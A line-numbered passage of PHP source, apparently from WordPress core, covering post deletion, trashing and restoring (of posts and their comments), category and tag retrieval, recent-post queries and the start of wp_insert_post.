2870 $post_mime_types = array_map( 'trim', explode( ',', $post_mime_types ) );
2871 }
2872
2873 $wheres = array();
2874
2875 foreach ( (array) $post_mime_types as $mime_type ) {
2876 $mime_type = preg_replace( '/\s/', '', $mime_type );
2877 $slashpos = strpos( $mime_type, '/' );
2878 if ( false !== $slashpos ) {
2879 $mime_group = preg_replace( '/[^-*.a-zA-Z0-9]/', '', substr( $mime_type, 0, $slashpos ) );
2880 $mime_subgroup = preg_replace( '/[^-*.+a-zA-Z0-9]/', '', substr( $mime_type, $slashpos + 1 ) );
2881 if ( empty( $mime_subgroup ) ) {
2882 $mime_subgroup = '*';
2883 } else {
2884 $mime_subgroup = str_replace( '/', '', $mime_subgroup );
2885 }
2886 $mime_pattern = "$mime_group/$mime_subgroup";
2887 } else {
2888 $mime_pattern = preg_replace( '/[^-*.a-zA-Z0-9]/', '', $mime_type );
2889 if ( false === strpos( $mime_pattern, '*' ) ) {
2890 $mime_pattern .= '/*';
2891 }
2892 }
2893
2894 $mime_pattern = preg_replace( '/\*+/', '%', $mime_pattern );
2895
2896 if ( in_array( $mime_type, $wildcards ) ) {
2897 return '';
2898 }
2899
2900 if ( false !== strpos( $mime_pattern, '%' ) ) {
2901 $wheres[] = empty( $table_alias ) ? "post_mime_type LIKE '$mime_pattern'" : "$table_alias.post_mime_type LIKE '$mime_pattern'";
2902 } else {
2903 $wheres[] = empty( $table_alias ) ? "post_mime_type = '$mime_pattern'" : "$table_alias.post_mime_type = '$mime_pattern'";
2904 }
2905 }
2906 if ( ! empty( $wheres ) ) {
2907 $where = ' AND (' . join( ' OR ', $wheres ) . ') ';
2908 }
2909 return $where;
2910}
2911
2912/**
2913 * Trash or delete a post or page.
2914 *
2915 * When the post and page is permanently deleted, everything that is tied to
2916 * it is deleted also. This includes comments, post meta fields, and terms
2917 * associated with the post.
2918 *
2919 * The post or page is moved to trash instead of permanently deleted unless
2920 * trash is disabled, item is already in the trash, or $force_delete is true.
2921 *
2922 * @since 1.0.0
2923 *
2924 * @global wpdb $wpdb WordPress database abstraction object.
2925 * @see wp_delete_attachment()
2926 * @see wp_trash_post()
2927 *
2928 * @param int $postid Optional. Post ID. Default 0.
2929 * @param bool $force_delete Optional. Whether to bypass trash and force deletion.
2930 * Default false.
2931 * @return WP_Post|false|null Post data on success, false or null on failure.
2932 */
2933function wp_delete_post( $postid = 0, $force_delete = false ) {
2934 global $wpdb;
2935
2936 $post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d", $postid ) );
2937
2938 if ( ! $post ) {
2939 return $post;
2940 }
2941
2942 $post = get_post( $post );
2943
2944 if ( ! $force_delete && ( 'post' === $post->post_type || 'page' === $post->post_type ) && 'trash' !== get_post_status( $postid ) && EMPTY_TRASH_DAYS ) {
2945 return wp_trash_post( $postid );
2946 }
2947
2948 if ( 'attachment' === $post->post_type ) {
2949 return wp_delete_attachment( $postid, $force_delete );
2950 }
2951
2952 /**
2953 * Filters whether a post deletion should take place.
2954 *
2955 * @since 4.4.0
2956 *
2957 * @param bool|null $delete Whether to go forward with deletion.
2958 * @param WP_Post $post Post object.
2959 * @param bool $force_delete Whether to bypass the trash.
2960 */
2961 $check = apply_filters( 'pre_delete_post', null, $post, $force_delete );
2962 if ( null !== $check ) {
2963 return $check;
2964 }
2965
2966 /**
2967 * Fires before a post is deleted, at the start of wp_delete_post().
2968 *
2969 * @since 3.2.0
2970 *
2971 * @see wp_delete_post()
2972 *
2973 * @param int $postid Post ID.
2974 */
2975 do_action( 'before_delete_post', $postid );
2976
2977 delete_post_meta( $postid, '_wp_trash_meta_status' );
2978 delete_post_meta( $postid, '_wp_trash_meta_time' );
2979
2980 wp_delete_object_term_relationships( $postid, get_object_taxonomies( $post->post_type ) );
2981
2982 $parent_data = array( 'post_parent' => $post->post_parent );
2983 $parent_where = array( 'post_parent' => $postid );
2984
2985 if ( is_post_type_hierarchical( $post->post_type ) ) {
2986 // Point children of this page to its parent, also clean the cache of affected children.
2987 $children_query = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent = %d AND post_type = %s", $postid, $post->post_type );
2988 $children = $wpdb->get_results( $children_query );
2989 if ( $children ) {
2990 $wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => $post->post_type ) );
2991 }
2992 }
2993
2994 // Do raw query. wp_get_post_revisions() is filtered.
2995 $revision_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'revision'", $postid ) );
2996 // Use wp_delete_post (via wp_delete_post_revision) again. Ensures any meta/misplaced data gets cleaned up.
2997 foreach ( $revision_ids as $revision_id ) {
2998 wp_delete_post_revision( $revision_id );
2999 }
3000
3001 // Point all attachments to this post up one level.
3002 $wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => 'attachment' ) );
3003
3004 wp_defer_comment_counting( true );
3005
3006 $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d", $postid ) );
3007 foreach ( $comment_ids as $comment_id ) {
3008 wp_delete_comment( $comment_id, true );
3009 }
3010
3011 wp_defer_comment_counting( false );
3012
3013 $post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $postid ) );
3014 foreach ( $post_meta_ids as $mid ) {
3015 delete_metadata_by_mid( 'post', $mid );
3016 }
3017
3018 /**
3019 * Fires immediately before a post is deleted from the database.
3020 *
3021 * @since 1.2.0
3022 *
3023 * @param int $postid Post ID.
3024 */
3025 do_action( 'delete_post', $postid );
3026 $result = $wpdb->delete( $wpdb->posts, array( 'ID' => $postid ) );
3027 if ( ! $result ) {
3028 return false;
3029 }
3030
3031 /**
3032 * Fires immediately after a post is deleted from the database.
3033 *
3034 * @since 2.2.0
3035 *
3036 * @param int $postid Post ID.
3037 */
3038 do_action( 'deleted_post', $postid );
3039
3040 clean_post_cache( $post );
3041
3042 if ( is_post_type_hierarchical( $post->post_type ) && $children ) {
3043 foreach ( $children as $child ) {
3044 clean_post_cache( $child );
3045 }
3046 }
3047
3048 wp_clear_scheduled_hook( 'publish_future_post', array( $postid ) );
3049
3050 /**
3051 * Fires after a post is deleted, at the conclusion of wp_delete_post().
3052 *
3053 * @since 3.2.0
3054 *
3055 * @see wp_delete_post()
3056 *
3057 * @param int $postid Post ID.
3058 */
3059 do_action( 'after_delete_post', $postid );
3060
3061 return $post;
3062}
3063
3064/**
3065 * Reset the page_on_front, show_on_front, and page_for_post settings when
3066 * a linked page is deleted or trashed.
3067 *
3068 * Also ensures the post is no longer sticky.
3069 *
3070 * @since 3.7.0
3071 * @access private
3072 *
3073 * @param int $post_id Post ID.
3074 */
3075function _reset_front_page_settings_for_post( $post_id ) {
3076 $post = get_post( $post_id );
3077 if ( 'page' == $post->post_type ) {
3078 /*
3079 * If the page is defined in option page_on_front or post_for_posts,
3080 * adjust the corresponding options.
3081 */
3082 if ( get_option( 'page_on_front' ) == $post->ID ) {
3083 update_option( 'show_on_front', 'posts' );
3084 update_option( 'page_on_front', 0 );
3085 }
3086 if ( get_option( 'page_for_posts' ) == $post->ID ) {
3087 update_option( 'page_for_posts', 0 );
3088 }
3089 }
3090 unstick_post( $post->ID );
3091}
3092
3093/**
3094 * Move a post or page to the Trash
3095 *
3096 * If trash is disabled, the post or page is permanently deleted.
3097 *
3098 * @since 2.9.0
3099 *
3100 * @see wp_delete_post()
3101 *
3102 * @param int $post_id Optional. Post ID. Default is ID of the global $post
3103 * if EMPTY_TRASH_DAYS equals true.
3104 * @return WP_Post|false|null Post data on success, false or null on failure.
3105 */
3106function wp_trash_post( $post_id = 0 ) {
3107 if ( ! EMPTY_TRASH_DAYS ) {
3108 return wp_delete_post( $post_id, true );
3109 }
3110
3111 $post = get_post( $post_id );
3112
3113 if ( ! $post ) {
3114 return $post;
3115 }
3116
3117 if ( 'trash' === $post->post_status ) {
3118 return false;
3119 }
3120
3121 /**
3122 * Filters whether a post trashing should take place.
3123 *
3124 * @since 4.9.0
3125 *
3126 * @param bool|null $trash Whether to go forward with trashing.
3127 * @param WP_Post $post Post object.
3128 */
3129 $check = apply_filters( 'pre_trash_post', null, $post );
3130 if ( null !== $check ) {
3131 return $check;
3132 }
3133
3134 /**
3135 * Fires before a post is sent to the trash.
3136 *
3137 * @since 3.3.0
3138 *
3139 * @param int $post_id Post ID.
3140 */
3141 do_action( 'wp_trash_post', $post_id );
3142
3143 add_post_meta( $post_id, '_wp_trash_meta_status', $post->post_status );
3144 add_post_meta( $post_id, '_wp_trash_meta_time', time() );
3145
3146 $post_updated = wp_update_post(
3147 array(
3148 'ID' => $post_id,
3149 'post_status' => 'trash',
3150 )
3151 );
3152
3153 if ( ! $post_updated ) {
3154 return false;
3155 }
3156
3157 wp_trash_post_comments( $post_id );
3158
3159 /**
3160 * Fires after a post is sent to the trash.
3161 *
3162 * @since 2.9.0
3163 *
3164 * @param int $post_id Post ID.
3165 */
3166 do_action( 'trashed_post', $post_id );
3167
3168 return $post;
3169}
3170
3171/**
3172 * Restore a post or page from the Trash.
3173 *
3174 * @since 2.9.0
3175 *
3176 * @param int $post_id Optional. Post ID. Default is ID of the global $post.
3177 * @return WP_Post|false|null Post data on success, false or null on failure.
3178 */
3179function wp_untrash_post( $post_id = 0 ) {
3180 $post = get_post( $post_id );
3181
3182 if ( ! $post ) {
3183 return $post;
3184 }
3185
3186 if ( 'trash' !== $post->post_status ) {
3187 return false;
3188 }
3189
3190 /**
3191 * Filters whether a post untrashing should take place.
3192 *
3193 * @since 4.9.0
3194 *
3195 * @param bool|null $untrash Whether to go forward with untrashing.
3196 * @param WP_Post $post Post object.
3197 */
3198 $check = apply_filters( 'pre_untrash_post', null, $post );
3199 if ( null !== $check ) {
3200 return $check;
3201 }
3202
3203 /**
3204 * Fires before a post is restored from the trash.
3205 *
3206 * @since 2.9.0
3207 *
3208 * @param int $post_id Post ID.
3209 */
3210 do_action( 'untrash_post', $post_id );
3211
3212 $post_status = get_post_meta( $post_id, '_wp_trash_meta_status', true );
3213
3214 delete_post_meta( $post_id, '_wp_trash_meta_status' );
3215 delete_post_meta( $post_id, '_wp_trash_meta_time' );
3216
3217 $post_updated = wp_update_post(
3218 array(
3219 'ID' => $post_id,
3220 'post_status' => $post_status,
3221 )
3222 );
3223
3224 if ( ! $post_updated ) {
3225 return false;
3226 }
3227
3228 wp_untrash_post_comments( $post_id );
3229
3230 /**
3231 * Fires after a post is restored from the trash.
3232 *
3233 * @since 2.9.0
3234 *
3235 * @param int $post_id Post ID.
3236 */
3237 do_action( 'untrashed_post', $post_id );
3238
3239 return $post;
3240}
3241
3242/**
3243 * Moves comments for a post to the trash.
3244 *
3245 * @since 2.9.0
3246 *
3247 * @global wpdb $wpdb WordPress database abstraction object.
3248 *
3249 * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post.
3250 * @return mixed|void False on failure.
3251 */
3252function wp_trash_post_comments( $post = null ) {
3253 global $wpdb;
3254
3255 $post = get_post( $post );
3256 if ( empty( $post ) ) {
3257 return;
3258 }
3259
3260 $post_id = $post->ID;
3261
3262 /**
3263 * Fires before comments are sent to the trash.
3264 *
3265 * @since 2.9.0
3266 *
3267 * @param int $post_id Post ID.
3268 */
3269 do_action( 'trash_post_comments', $post_id );
3270
3271 $comments = $wpdb->get_results( $wpdb->prepare( "SELECT comment_ID, comment_approved FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id ) );
3272 if ( empty( $comments ) ) {
3273 return;
3274 }
3275
3276 // Cache current status for each comment.
3277 $statuses = array();
3278 foreach ( $comments as $comment ) {
3279 $statuses[ $comment->comment_ID ] = $comment->comment_approved;
3280 }
3281 add_post_meta( $post_id, '_wp_trash_meta_comments_status', $statuses );
3282
3283 // Set status for all comments to post-trashed.
3284 $result = $wpdb->update( $wpdb->comments, array( 'comment_approved' => 'post-trashed' ), array( 'comment_post_ID' => $post_id ) );
3285
3286 clean_comment_cache( array_keys( $statuses ) );
3287
3288 /**
3289 * Fires after comments are sent to the trash.
3290 *
3291 * @since 2.9.0
3292 *
3293 * @param int $post_id Post ID.
3294 * @param array $statuses Array of comment statuses.
3295 */
3296 do_action( 'trashed_post_comments', $post_id, $statuses );
3297
3298 return $result;
3299}
3300
3301/**
3302 * Restore comments for a post from the trash.
3303 *
3304 * @since 2.9.0
3305 *
3306 * @global wpdb $wpdb WordPress database abstraction object.
3307 *
3308 * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post.
3309 * @return true|void
3310 */
3311function wp_untrash_post_comments( $post = null ) {
3312 global $wpdb;
3313
3314 $post = get_post( $post );
3315 if ( empty( $post ) ) {
3316 return;
3317 }
3318
3319 $post_id = $post->ID;
3320
3321 $statuses = get_post_meta( $post_id, '_wp_trash_meta_comments_status', true );
3322
3323 if ( empty( $statuses ) ) {
3324 return true;
3325 }
3326
3327 /**
3328 * Fires before comments are restored for a post from the trash.
3329 *
3330 * @since 2.9.0
3331 *
3332 * @param int $post_id Post ID.
3333 */
3334 do_action( 'untrash_post_comments', $post_id );
3335
3336 // Restore each comment to its original status.
3337 $group_by_status = array();
3338 foreach ( $statuses as $comment_id => $comment_status ) {
3339 $group_by_status[ $comment_status ][] = $comment_id;
3340 }
3341
3342 foreach ( $group_by_status as $status => $comments ) {
3343 // Sanity check. This shouldn't happen.
3344 if ( 'post-trashed' == $status ) {
3345 $status = '0';
3346 }
3347 $comments_in = implode( ', ', array_map( 'intval', $comments ) );
3348 $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->comments SET comment_approved = %s WHERE comment_ID IN ($comments_in)", $status ) );
3349 }
3350
3351 clean_comment_cache( array_keys( $statuses ) );
3352
3353 delete_post_meta( $post_id, '_wp_trash_meta_comments_status' );
3354
3355 /**
3356 * Fires after comments are restored for a post from the trash.
3357 *
3358 * @since 2.9.0
3359 *
3360 * @param int $post_id Post ID.
3361 */
3362 do_action( 'untrashed_post_comments', $post_id );
3363}
3364
3365/**
3366 * Retrieve the list of categories for a post.
3367 *
3368 * Compatibility layer for themes and plugins. Also an easy layer of abstraction
3369 * away from the complexity of the taxonomy layer.
3370 *
3371 * @since 2.1.0
3372 *
3373 * @see wp_get_object_terms()
3374 *
3375 * @param int $post_id Optional. The Post ID. Does not default to the ID of the
3376 * global $post. Default 0.
3377 * @param array $args Optional. Category query parameters. Default empty array.
3378 * See WP_Term_Query::__construct() for supported arguments.
3379 * @return array|WP_Error List of categories. If the `$fields` argument passed via `$args` is 'all' or
3380 * 'all_with_object_id', an array of WP_Term objects will be returned. If `$fields`
3381 * is 'ids', an array of category ids. If `$fields` is 'names', an array of category names.
3382 * WP_Error object if 'category' taxonomy doesn't exist.
3383 */
3384function wp_get_post_categories( $post_id = 0, $args = array() ) {
3385 $post_id = (int) $post_id;
3386
3387 $defaults = array( 'fields' => 'ids' );
3388 $args = wp_parse_args( $args, $defaults );
3389
3390 $cats = wp_get_object_terms( $post_id, 'category', $args );
3391 return $cats;
3392}
3393
3394/**
3395 * Retrieve the tags for a post.
3396 *
3397 * There is only one default for this function, called 'fields' and by default
3398 * is set to 'all'. There are other defaults that can be overridden in
3399 * wp_get_object_terms().
3400 *
3401 * @since 2.3.0
3402 *
3403 * @param int $post_id Optional. The Post ID. Does not default to the ID of the
3404 * global $post. Default 0.
3405 * @param array $args Optional. Tag query parameters. Default empty array.
3406 * See WP_Term_Query::__construct() for supported arguments.
3407 * @return array|WP_Error Array of WP_Term objects on success or empty array if no tags were found.
3408 * WP_Error object if 'post_tag' taxonomy doesn't exist.
3409 */
3410function wp_get_post_tags( $post_id = 0, $args = array() ) {
3411 return wp_get_post_terms( $post_id, 'post_tag', $args );
3412}
3413
3414/**
3415 * Retrieves the terms for a post.
3416 *
3417 * @since 2.8.0
3418 *
3419 * @param int $post_id Optional. The Post ID. Does not default to the ID of the
3420 * global $post. Default 0.
3421 * @param string|array $taxonomy Optional. The taxonomy slug or array of slugs for which
3422 * to retrieve terms. Default 'post_tag'.
3423 * @param array $args {
3424 * Optional. Term query parameters. See WP_Term_Query::__construct() for supported arguments.
3425 *
3426 * @type string $fields Term fields to retrieve. Default 'all'.
3427 * }
3428 * @return array|WP_Error Array of WP_Term objects on success or empty array if no terms were found.
3429 * WP_Error object if `$taxonomy` doesn't exist.
3430 */
3431function wp_get_post_terms( $post_id = 0, $taxonomy = 'post_tag', $args = array() ) {
3432 $post_id = (int) $post_id;
3433
3434 $defaults = array( 'fields' => 'all' );
3435 $args = wp_parse_args( $args, $defaults );
3436
3437 $tags = wp_get_object_terms( $post_id, $taxonomy, $args );
3438
3439 return $tags;
3440}
3441
3442/**
3443 * Retrieve a number of recent posts.
3444 *
3445 * @since 1.0.0
3446 *
3447 * @see get_posts()
3448 *
3449 * @param array $args Optional. Arguments to retrieve posts. Default empty array.
3450 * @param string $output Optional. The required return type. One of OBJECT or ARRAY_A, which correspond to
3451 * a WP_Post object or an associative array, respectively. Default ARRAY_A.
3452 * @return array|false Array of recent posts, where the type of each element is determined by $output parameter.
3453 * Empty array on failure.
3454 */
3455function wp_get_recent_posts( $args = array(), $output = ARRAY_A ) {
3456
3457 if ( is_numeric( $args ) ) {
3458 _deprecated_argument( __FUNCTION__, '3.1.0', __( 'Passing an integer number of posts is deprecated. Pass an array of arguments instead.' ) );
3459 $args = array( 'numberposts' => absint( $args ) );
3460 }
3461
3462 // Set default arguments.
3463 $defaults = array(
3464 'numberposts' => 10,
3465 'offset' => 0,
3466 'category' => 0,
3467 'orderby' => 'post_date',
3468 'order' => 'DESC',
3469 'include' => '',
3470 'exclude' => '',
3471 'meta_key' => '',
3472 'meta_value' => '',
3473 'post_type' => 'post',
3474 'post_status' => 'draft, publish, future, pending, private',
3475 'suppress_filters' => true,
3476 );
3477
3478 $parsed_args = wp_parse_args( $args, $defaults );
3479
3480 $results = get_posts( $parsed_args );
3481
3482 // Backward compatibility. Prior to 3.1 expected posts to be returned in array.
3483 if ( ARRAY_A == $output ) {
3484 foreach ( $results as $key => $result ) {
3485 $results[ $key ] = get_object_vars( $result );
3486 }
3487 return $results ? $results : array();
3488 }
3489
3490 return $results ? $results : false;
3491
3492}
3493
3494/**
3495 * Insert or update a post.
3496 *
3497 * If the $postarr parameter has 'ID' set to a value, then post will be updated.
3498 *
3499 * You can set the post date manually, by setting the values for 'post_date'
3500 * and 'post_date_gmt' keys. You can close the comments or open the comments by
3501 * setting the value for 'comment_status' key.
3502 *
3503 * @since 1.0.0
3504 * @since 4.2.0 Support was added for encoding emoji in the post title, content, and excerpt.
3505 * @since 4.4.0 A 'meta_input' array can now be passed to `$postarr` to add post meta data.
3506 *
3507 * @see sanitize_post()
3508 * @global wpdb $wpdb WordPress database abstraction object.
3509 *
3510 * @param array $postarr {
3511 * An array of elements that make up a post to update or insert.
3512 *
3513 * @type int $ID The post ID. If equal to something other than 0,
3514 * the post with that ID will be updated. Default 0.
3515 * @type int $post_author The ID of the user who added the post. Default is
3516 * the current user ID.
3517 * @type string $post_date The date of the post. Default is the current time.
3518 * @type string $post_date_gmt The date of the post in the GMT timezone. Default is
3519 * the value of `$post_date`.
3520 * @type mixed $post_content The post content. Default empty.
3521 * @type string $post_content_filtered The filtered post content. Default empty.
3522 * @type string $post_title The post title. Default empty.
3523 * @type string $post_excerpt The post excerpt. Default empty.
3524 * @type string $post_status The post status. Default 'draft'.
3525 * @type string $post_type The post type. Default 'post'.
3526 * @type string $comment_status Whether the post can accept comments. Accepts 'open' or 'closed'.
3527 * Default is the value of 'default_comment_status' option.
3528 * @type string $ping_status Whether the post can accept pings. Accepts 'open' or 'closed'.
3529 * Default is the value of 'default_ping_status' option.
3530 * @type string $post_password The password to access the post. Default empty.
3531 * @type string $post_name The post name. Default is the sanitized post title
3532 * when creating a new post.
3533 * @type string $to_ping Space or carriage return-separated list of URLs to ping.
3534 * Default empty.
3535 * @type string $pinged Space or carriage return-separated list of URLs that have
3536 * been pinged. Default empty.
3537 * @type string $post_modified The date when the post was last modified. Default is
3538 * the current time.
3539 * @type string $post_modified_gmt The date when the post was last modified in the GMT
3540 * timezone. Default is the current time.
3541 * @type int $post_parent Set this for the post it belongs to, if any. Default 0.
3542 * @type int $menu_order The order the post should be displayed in. Default 0.
3543 * @type string $post_mime_type The mime type of the post. Default empty.
3544 * @type string $guid Global Unique ID for referencing the post. Default empty.
3545 * @type array $post_category Array of category IDs.
3546 * Defaults to value of the 'default_category' option.
3547 * @type array $tags_input Array of tag names, slugs, or IDs. Default empty.
3548 * @type array $tax_input Array of taxonomy terms keyed by their taxonomy name. Default empty.
3549 * @type array $meta_input Array of post meta values keyed by their post meta key. Default empty.
3550 * }
3551 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
3552 * @return int|WP_Error The post ID on success. The value 0 or WP_Error on failure.
3553 */
3554function wp_insert_post( $postarr, $wp_error = false ) {
3555 global $wpdb;
3556
3557 $user_id = get_current_user_id();
3558
3559 $defaults = array(
3560 'post_author' => $user_id,
3561 'post_content' => '',
3562 'post_content_filtered' => '',
3563 'post_title' => '',
3564 'post_excerpt' => '',
3565 'post_status' => 'draft',
3566 'post_type' => 'post',
3567 'comment_status' => '',
3568 'ping_status' => '',
3569 'post_password' => '',
3570 'to_ping' => '',
3571 'pinged' => '',
3572 'post_parent' => 0,
3573 'menu_order' => 0,
3574 'guid' => '',
3575 'import_id' => 0,
3576 'context' => '',
3577 );
3578
3579 $postarr = wp_parse_args( $postarr, $defaults );
3580
3581 unset( $postarr['filter'] );
3582
3583 $postarr = sanitize_post( $postarr, 'db' );
3584
3585 // Are we updating or creating?
3586 $post_ID = 0;
3587 $update = false;
3588 $guid = $postarr['guid'];
3589
3590 if ( ! empty( $postarr['ID'] ) ) {
3591 $update = true;
3592
3593 // Get the post ID and GUID.
3594 $post_ID = $postarr['ID'];
3595 $post_before = get_post( $post_ID );
3596 if ( is_null( $post_before ) ) {
3597 if ( $wp_error ) {
3598 return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
3599 }
3600 return 0;
3601 }
3602
3603 $guid = get_post_field( 'guid', $post_ID );
3604 $previous_status = get_post_field( 'post_status', $post_ID );
3605 } else {
3606 $previous_status = 'new';
3607 }
3608
3609 $post_type = empty( $postarr['post_type'] ) ? 'post' : $postarr['post_type'];
3610
3611 $post_title = $postarr['post_title'];
3612 $post_content = $postarr['post_content'];
3613 $post_excerpt = $postarr['post_excerpt'];
3614 if ( isset( $postarr['post_name'] ) ) {
3615 $post_name = $postarr['post_name'];
3616 } elseif ( $update ) {
3617 // For an update, don't modify the post_name if it wasn't supplied as an argument.
3618 $post_name = $post_before->post_name;
3619 }
3620
3621 $maybe_empty = 'attachment' !== $post_type
3622 && ! $post_content && ! $post_title && ! $post_excerpt
3623 && post_type_supports( $post_type, 'editor' )
3624 && post_type_supports( $post_type, 'title' )
3625 && post_type_supports( $post_type, 'excerpt' );
3626
3627 /**
3628 * Filters whether the post should be considered "empty".
3629 *
3630 * The post is considered "empty" if both:
3631 * 1. The post type supports the title, editor, and excerpt fields
3632 * 2. The title, editor, and excerpt fields are all empty
3633 *
3634 * Returning a truthy value to the filter will effectively short-circuit
3635 * the new post being inserted, returning 0. If $wp_error is true, a WP_Error
3636 * will be returned instead.
3637 *
3638 * @since 3.3.0
3639 *
3640 * @param bool $maybe_empty Whether the post should be considered "empty".
3641 * @param array $postarr Array of post data.
3642 */
3643 if ( apply_filters( 'wp_insert_post_empty_content', $maybe_empty, $postarr ) ) {
3644 if ( $wp_error ) {
3645 return new WP_Error( 'empty_content', __( 'Content, title, and excerpt are empty.' ) );
3646 } else {
3647 return 0;
3648 }
3649 }
3650
3651 $post_status = empty( $postarr['post_status'] ) ? 'draft' : $postarr['post_status'];
3652 if ( 'attachment' === $post_type && ! in_array( $post_status, array( 'inherit', 'private', 'trash', 'auto-draft' ), true ) ) {
3653 $post_status = 'inherit';
3654 }
3655
3656 if ( ! empty( $postarr['post_category'] ) ) {
3657 // Filter out empty terms.
3658 $post_category = array_filter( $postarr['post_category'] );
3659 }
3660
3661 // Make sure we set a valid category.
3662 if ( empty( $post_category ) || 0 == count( $post_category ) || ! is_array( $post_category ) ) {
3663 // 'post' requires at least one category.
3664 if ( 'post' == $post_type && 'auto-draft' != $post_status ) {
3665 $post_category = array( get_option( 'default_category' ) );
3666 } else {
3667 $post_category = array();
3668 }
3669 }
3670
3671 /*
3672 * Don't allow contributors to set the post slug for pending review posts.
3673 *
3674 * For new posts check the primitive capability, for updates check the meta capability.
3675 */
3676 $post_type_object = get_post_type_object( $post_type );
3677
3678 if ( ! $update && 'pending' === $post_status && ! current_user_can( $post_type_object->cap->publish_posts ) ) {
3679 $post_name = '';
3680 } elseif ( $update && 'pending' === $post_status && ! current_user_can( 'publish_post', $post_ID ) ) {
3681 $post_name = '';
3682 }
3683
3684 /*
3685 * Create a valid post name. Drafts and pending posts are allowed to have
3686 * an empty post name.
3687 */
3688 if ( empty( $post_name ) ) {
3689 if ( ! in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) ) {
3690 $post_name = sanitize_title( $post_title );
3691 } else {
3692 $post_name = '';
3693 }
3694 } else {
3695 // On updates, we need to check to see if it's using the old, fixed sanitization context.
3696 $check_name = sanitize_title( $post_name, '', 'old-save' );
3697 if ( $update && strtolower( urlencode( $post_name ) ) == $check_name && get_post_field( 'post_name', $post_ID ) == $check_name ) {
3698 $post_name = $check_name;
3699 } else { // new post, or slug has changed.
3700 $post_name = sanitize_title( $post_name );
3701 }
3702 }
3703
3704 /*
3705 * If the post date is empty (due to having been new or a draft) and status
3706 * is not 'draft' or 'pending', set date to now.
3707 */
3708 if ( empty( $postarr['post_date'] ) || '0000-00-00 00:00:00' == $postarr['post_date'] ) {
3709 if ( empty( $postarr['post_date_gmt'] ) || '0000-00-00 00:00:00' == $postarr['post_date_gmt'] ) {
3710 $post_date = current_time( 'mysql' );
3711 } else {
3712 $post_date = get_date_from_gmt( $postarr['post_date_gmt'] );
3713 }
3714 } else {
3715 $post_date = $postarr['post_date'];
3716 }
3717
3718 // Validate the date.
3719 $mm = substr( $post_date, 5, 2 );
3720 $jj = substr( $post_date, 8, 2 );
3721 $aa = substr( $post_date, 0, 4 );
3722 $valid_date = wp_checkdate( $mm, $jj, $aa, $post_date );
3723 if ( ! $valid_date ) {
3724 if ( $wp_error ) {
3725 return new WP_Error( 'invalid_date', __( 'Invalid date.' ) );
3726 } else {
3727 return 0;
3728 }
3729 }
3730
3731 if ( empty( $postarr['post_date_gmt'] ) || '0000-00-00 00:00:00' == $postarr['post_date_gmt'] ) {
3732 if ( ! in_array( $post_status, get_post_stati( array( 'date_floating' => true ) ), true ) ) {
3733 $post_date_gmt = get_gmt_from_date( $post_date );
3734 } else {
3735 $post_date_gmt = '0000-00-00 00:00:00';
3736 }
3737 } else {
3738 $post_date_gmt = $postarr['post_date_gmt'];
3739 }
3740
3741 if ( $update || '0000-00-00 00:00:00' == $post_date ) {
3742 $post_modified = current_time( 'mysql' );
3743 $post_modified_gmt = current_time( 'mysql', 1 );
3744 } else {
3745 $post_modified = $post_date;
3746 $post_modified_gmt = $post_date_gmt;
3747 }
3748
3749 if ( 'attachment' !== $post_type ) {
3750 $now = gmdate( 'Y-m-d H:i:s' );
3751
3752 if ( 'publish' === $post_status ) {
3753 if ( strtotime( $post_date_gmt ) - strtotime( $now ) >= MINUTE_IN_SECONDS ) {
3754 $post_status = 'future';
3755 }
3756 } elseif ( 'future' === $post_status ) {
3757 if ( strtotime( $post_date_gmt ) - strtotime( $now ) < MINUTE_IN_SECONDS ) {
3758 $post_status = 'publish';
3759 }
3760 }
3761 }
3762
3763 // Comment status.
3764 if ( empty( $postarr['comment_status'] ) ) {
3765 if ( $update ) {
3766 $comment_status = 'closed';
3767 } else {
3768 $comment_status = get_default_comment_status( $post_type );
3769 }
3770 } else {
3771 $comment_status = $postarr['comment_status'];
3772 }
3773
3774 // These variables are needed by compact() later.
3775 $post_content_filtered = $postarr['post_content_filtered'];
3776 $post_author = isset( $postarr['post_author'] ) ? $postarr['post_author'] : $user_id;
3777 $ping_status = empty( $postarr['ping_status'] ) ? get_default_comment_status( $post_type, 'pingback' ) : $postarr['ping_status'];
3778 $to_ping = isset( $postarr['to_ping'] ) ? sanitize_trackback_urls( $postarr['to_ping'] ) : '';
3779 $pinged = isset( $postarr['pinged'] ) ? $postarr['pinged'] : '';
3780 $import_id = isset( $postarr['import_id'] ) ? $postarr['import_id'] : 0;
3781
3782 /*
3783 * The 'wp_insert_post_parent' filter expects all variables to be present.
3784 * Previously, these variables would have already been extracted
3785 */
3786 if ( isset( $postarr['menu_order'] ) ) {
3787 $menu_order = (int) $postarr['menu_order'];
3788 } else {
3789 $menu_order = 0;
3790 }
3791
3792 $post_password = isset( $postarr['post_password'] ) ? $postarr['post_password'] : '';
3793 if ( 'private' == $post_status ) {
3794 $post_password = '';
3795 }
3796
3797 if ( isset( $postarr['post_parent'] ) ) {
3798 $post_parent = (int) $postarr['post_parent'];
3799 } else {
3800 $post_parent = 0;
3801 }
3802
3803 $new_postarr = array_merge(
3804 array(
3805 'ID' => $post_ID,
3806 ),
3807 compact( array_diff( array_keys( $defaults ), array( 'context', 'filter' ) ) )
3808 );
3809
3810 /**
3811 * Filters the post parent -- used to check for and prevent hierarchy loops.
3812 *
3813 * @since 3.1.0
3814 *
3815 * @param int $post_parent Post parent ID.
3816 * @param int $post_ID Post ID.
3817 * @param array $new_postarr Array of parsed post data.
3818 * @param array $postarr Array of sanitized, but otherwise unmodified post data.
3819 */
3820 $post_parent = apply_filters( 'wp_insert_post_parent', $post_parent, $post_ID, $new_postarr, $postarr );
